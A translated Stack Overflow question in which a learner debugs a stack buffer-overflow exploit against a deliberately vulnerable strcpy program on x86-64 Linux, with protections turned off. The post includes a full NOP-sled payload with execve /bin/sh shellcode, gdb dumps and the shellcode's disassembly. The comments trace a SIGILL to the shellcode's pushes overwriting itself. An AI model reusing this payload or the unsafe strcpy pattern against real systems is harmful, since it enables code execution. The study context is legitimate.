【发布时间】:2018-09-11 11:25:04
【问题描述】:
我正在学习缓冲区溢出(仅用于教育目的),并且在使用 NOP 滑动技术来执行 shellcode 时,出现了一些关于为什么有时不执行 shellcode 的问题。
我编译了以下代码(使用 Ubuntu 18.04.1 LTS (x86_64),gcc 7.3.0.,禁用 ASLR)
#include <stdio.h>
#include <string.h>
void function (char *args)
{
char buff[64];
printf ("%p\n", buff);
strcpy (buff, args);
}
int main (int argc, char *argv[])
{
function (argv[1]);
}
如下:gcc -g -o main main.c -fno-stack-protector -z execstack。
然后我唤起了gdb main、b 9和
run `perl -e '{ print "\x90"x15; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x8; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address组成。我根据printf 行的输出选择了返回地址。 (注意:明确地说,上面的十六进制代码在 x86_x64 中打开了一个 shell)。
从下面的输出可以看出,缓冲区按预期溢出了。
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x48
0x7fffffffd8c0: 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2 0x48
0x7fffffffd8c8: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x7fffffffd8d0: 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1 0xeb
0x7fffffffd8d8: 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31 0xd2
0x7fffffffd8e0: 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f 0x05
0x7fffffffd8e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实会打开 shell。但是,当我使用以下作为参数时(唯一的区别是我将 \x90"x15 替换为 \x90"x16 和 \x90"x8 替换为 \x90"x7)
run `perl -e '{ print "\x90"x16; \
print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
print "\x90"x7; \
print "A"x8; \
print "\xb0\xd8\xff\xff\xff\x7f" }'`
我明白了
(gdb) x/80bx buff
0x7fffffffd8b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8c0: 0x48 0x31 0xc0 0xb0 0x3b 0x48 0x31 0xd2
0x7fffffffd8c8: 0x48 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x73
0x7fffffffd8d0: 0x68 0x11 0x48 0xc1 0xe3 0x08 0x48 0xc1
0x7fffffffd8d8: 0xeb 0x08 0x53 0x48 0x89 0xe7 0x4d 0x31
0x7fffffffd8e0: 0xd2 0x41 0x52 0x57 0x48 0x89 0xe6 0x0f
0x7fffffffd8e8: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffd8f8: 0xb0 0xd8 0xff 0xff 0xff 0x7f 0x00 0x00
(gdb) info frame 0
[...]
rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
[...]
Saved registers:
rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
这对我来说看起来不错(与上面相同,除了反映参数的变化),但是当我这次继续时,我得到了
Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
并且没有打开任何外壳。
- 非法指令发生在第二个 NOP 块中。 shellcode 位于 NOP 块之前。返回地址好像被覆盖成功了,为什么shellcode没有执行呢?
- 为什么第一个示例有效,而第二个无效,唯一的区别是在 shellcode 之前删除了一个 NOP,并在 shellcode 之后插入了一个 NOP?
编辑: 我添加了shellcode的反汇编:
0000000000400078 <_start>:
400078: 48 31 c0 xor %rax,%rax
40007b: b0 3b mov $0x3b,%al
40007d: 48 31 d2 xor %rdx,%rdx
400080: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
400087: 73 68 11
40008a: 48 c1 e3 08 shl $0x8,%rbx
40008e: 48 c1 eb 08 shr $0x8,%rbx
400092: 53 push %rbx
400093: 48 89 e7 mov %rsp,%rdi
400096: 4d 31 d2 xor %r10,%r10
400099: 41 52 push %r10
40009b: 57 push %rdi
40009c: 48 89 e6 mov %rsp,%rsi
40009f: 0f 05 syscall
【问题讨论】:
-
我没有反汇编你的 shellcode 正在做什么,但显然它会覆盖自己。这是我能想到的使用以前为
NOP的代码获得SIGILL的唯一方法。当因信号停止时重新检查当前指令。您可能会发现它不再是NOP。向后工作以找出覆盖它的内容。 -
我添加了反汇编。感谢您的建议,我将研究 gdb 是如何做到这一点的。
-
为什么这个问题被否决了?
-
它使用了几个
push指令。由于您的代码在堆栈上,它很可能会覆盖自己。正如我所说,检查故障指令在信号到达之后,看看它是否被覆盖。 -
@Jester 谢谢,你是对的!参考您的提示,我将发布我的调查作为答案。
标签: linux assembly x86-64 buffer-overflow shellcode